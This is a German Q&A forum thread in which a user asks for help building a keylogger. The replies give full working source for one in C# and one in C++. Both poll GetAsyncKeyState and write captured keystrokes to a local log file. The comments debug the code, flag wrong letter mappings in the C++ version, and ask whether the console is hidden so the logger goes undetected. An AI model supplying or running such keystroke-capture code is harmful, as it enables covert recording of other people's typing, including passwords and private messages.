Keylogger in C#?

3 Antworten

Vom Fragesteller als hilfreich ausgezeichnet

Zunächst mal: Der Typ, der das Tutorial gemacht hat sollte entweder seinen Akzent oder sein Mikrofon auswechseln... ^^

Aber zum eigentlichen Code: Im Grunde als rudimentäre Skizze ganz okay, bis auf das andauernde Öffnen und Schließen der Ausgabedatei.

Ich habs mal "ein klein wenig" umstrukturiert, aufgeräumt und (zumindest etwas) optimiert:

using System;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
 
namespace Keylogger{
    class Program{
        [DllImport("user32.dll")]
        private static extern ushort GetAsyncKeyState(int i);
        
        static void Main(string[] args){
            //Name der Ausgabedatei
            string path = "log.txt";
            //Verhindert, dass ein Tastendruck von mehr als 10 Millisekunden die Ausgabe überschwemmt (dazu später mehr)
            bool[] keyStates = new bool[0xff];
            //Es reicht aus, den Writer einmal zu erstellen...
            TextWriter writer = File.Exists(path) ? File.AppendText(path) : File.CreateText(path);
            KeysConverter converter = new KeysConverter();
            //Auch die Variable für den Tastenstatus kann ausserhalb der Schleife deklariert werden.
            ushort keyState;
            //Zum sauberen Beenden des Programms
            bool stop = false;
            Console.CancelKeyPress += delegate(object sender, ConsoleCancelEventArgs e){
                stop = true;
                e.Cancel = true;
            };
            //Und los gehts.
            while(!stop){
                Thread.Sleep(10);
                for(int i = 0; i < keyStates.Length; i++){
                    keyState = GetAsyncKeyState(i);
                    //Wenn der Rückgabewert von GetAsyncKeyState 0 ist und im zuvor erwähnten Array an der entsprechenden Stelle true steht:
                    if(keyState == 0 && keyStates[i]){
                        //Eine Zeile in die Ausgabe schreiben, die besagt "Taste losgelassen".
                        writer.WriteLine("UP: {0}", converter.ConvertToString(i));
                        writer.Flush();
                        //Den Wert im Array auf false setzen.
                        keyStates[i] = false;
                    }
                    //Wenn jedoch das erste und/oder das letzte Bit im Rückgabewert gesetzt sind (siehe dazu auch die Windows-API-Dokumentation) und der entsprechende Arraywert false ist
                    else if((keyState & 0x8001) != 0 && !keyStates[i]){
                        //Eine Zeile in die Ausgabe schreiben, die besagt "Taste gedrückt".
                        writer.WriteLine("DOWN: {0}", converter.ConvertToString(i));
                        writer.Flush();
                        //Den Wert im Array auf true setzen.
                        keyStates[i] = true;
                    }
                }
            }
            writer.Close();
        }
    }
}
Woher ich das weiß:Hobby

Hallo MrMu1,

ich habe in der Schule auch an einen Keylogger getüftelt:

#include <iostream>
#include <conio.h>
#include <stdio.h>
#include <windows.h>
#include <fstream>


using namespace std;


int main()
{
    //Logteiler erstellen
	string keylog;
	ofstream log;
	log.open("keylog.txt",ios::app);
	log << "Neuer Log eintrag------------------------- \n" << endl << endl;
	log.close();
while(1)
{
   for(int vkey=0;vkey<256;vkey++)
   {
        if(GetAsyncKeyState(vkey)==-32767)
        {
            switch(vkey)
            {
            case 65:
            	keylog = keylog + "a";
            	break;
            case 66:
            	keylog = keylog + "b";
            	break;
            case 67:
            	keylog = keylog + "c";
            	break;
            case 68:
            	keylog = keylog + "d";
            	break;
            case 69:
            	keylog = keylog + "e";
            	break;
            case 70:
            	keylog = keylog + "f";
            	break;
            case 71:
            	keylog = keylog + "g";
            	break;
            case 72:
            	keylog = keylog + "h";
            	break;
            case 73:
            	keylog = keylog + "i";
            	break;
            case 74:
            	keylog = keylog + "j";
            	break;
            case 75:
            	keylog = keylog + "k";
            	break;
            case 76:
            	keylog = keylog + "l";
            	break;
            case 77:
            	keylog = keylog + "m";
            	break;
            case 78:
            	keylog = keylog + "n";
            	break;
            case 79:
            	keylog = keylog + "o";
            	break;
            case 80:
            	keylog = keylog + "p";
            	break;
            case 81:
            	keylog = keylog + "q";
            	break;
            case 82:
            	keylog = keylog + "r";
            	break;
            case 83:
            	keylog = keylog + "s";
            	break;
            case 84:
            	keylog = keylog + "t";
            	break;
            case 85:
            	keylog = keylog + "u";
            	break;
            case 86:
            	keylog = keylog + "v";
            	break;
            case 87:
            	keylog = keylog + "w";
            	break;
            case 88:
            	keylog = keylog + "x";
            	break;
            case 89:
            	keylog = keylog + "y";
            	break;
            case 90:
            	keylog = keylog + "z";
            	break;
            case 49:
            	keylog = keylog + "1";
            	break;
            case 50:
            	keylog = keylog + "2";
            	break;
            case 51:
            	keylog = keylog + "3";
            	break;
            case 52:
            	keylog = keylog + "4";
            	break;
            case 53:
            	keylog = keylog + "5";
            	break;
            case 54:
            	keylog = keylog + "6";
            	break;
            case 55:
            	keylog = keylog + "7";
            	break;
            case 56:
            	keylog = keylog + "8";
            	break;
            case 57:
            	keylog = keylog + "9";
            	break;
            case 48:
            	keylog = keylog + "0";
            	break;
            case 32:
            	keylog = keylog + " ";
            	break;
            case 8:
            	keylog.erase(keylog.end() - 1);
            	break;
        	}//switch
cout << keylog;
ofstream log;
log.open("keylog.txt",ios::trunc);
log << keylog;
log.close();
        }//if
   	}//for
  }//while
}//main


Vielleicht hilft er dir weiter. Soweit ich mich noch richtig erinnern kann hat alles einwandfrei funktioniert.

Gruß

Woher ich das weiß:Hobby

MrMu1 
Fragesteller
 01.07.2019, 20:56

Danke :D

0
MrMu1 
Fragesteller
 01.07.2019, 21:06
@32BitJoghurt

Wenn ich jetzt noch Großbuchstaben und Sonderzeichen etc. einfügen wollen würde müsste ich das einfach nach dem gleichen System machen?

0
32BitJoghurt  01.07.2019, 21:07
@MrMu1

Schätze schon, soweit hatte ich das leider noch nicht erstellt.

0
MrMu1 
Fragesteller
 01.07.2019, 21:07
@MrMu1

Und hat es irgendeinen Zweck, dass die einzelnen Cases nicht der Reihe nach sind?

0
regex9  01.07.2019, 21:19

Ein Blick in die ASCII-Tabelle verrät, dass dein Programm falsch läuft. Der Wert 65 steht nicht für das kleine, sondern für das große A. Die folgenden Werte sind daher auch falsch zugeordnet.

Doch dem nicht genug, birgt das switch-case unnötigen Aufwand. Der Wert von vkey müsste eigentlich nur gecastet werden, um das entsprechende Zeichen zu erhalten.

Beispiel:

char letter = (char)65;
std::cout << letter;
1
MrMu1 
Fragesteller
 01.07.2019, 21:50

Komisch. Eben hats funktioniert. Jetzt nicht mehr:(

0
MrMu1 
Fragesteller
 01.07.2019, 21:51
@32BitJoghurt

Ach alles gut, hab das Log nur am falschen Ort gesucht

0
Erzesel  02.07.2019, 08:16

Cooler Spaghetticode 🤣🤣🤣

0

Könntest du mal deine Code z.b auf www.pastebin.com hochladen?

Woher ich das weiß:Studium / Ausbildung – Informatikstudent

MrMu1 
Fragesteller
 01.07.2019, 20:53

https://pastebin.com/fxNfYQHz

Hoffe das funktioniert hab pastebin noch nie benutzt

0
whgoffline  01.07.2019, 21:22
@MrMu1

Du hast also keine Konsole? Oder versteckt du diese damit der Keylogger unentdeckt bleibt?

0
MrMu1 
Fragesteller
 01.07.2019, 21:24
@whgoffline

Doch ich krieg ne Konsole, aber nichts was ich eintippe wirt in mein Log kopiert.

1
whgoffline  01.07.2019, 21:25
@MrMu1

Hast du die Datei Mal als admin gestartet. Manchmal kann der Standart Benutzer nicht im Ordner schreiben.

0
MrMu1 
Fragesteller
 01.07.2019, 21:28
@whgoffline

Funkt immer noch nicht. Könnte es daran liegen, dass die log datei in D und nicht auf dem Boot-Drive C liegt?

0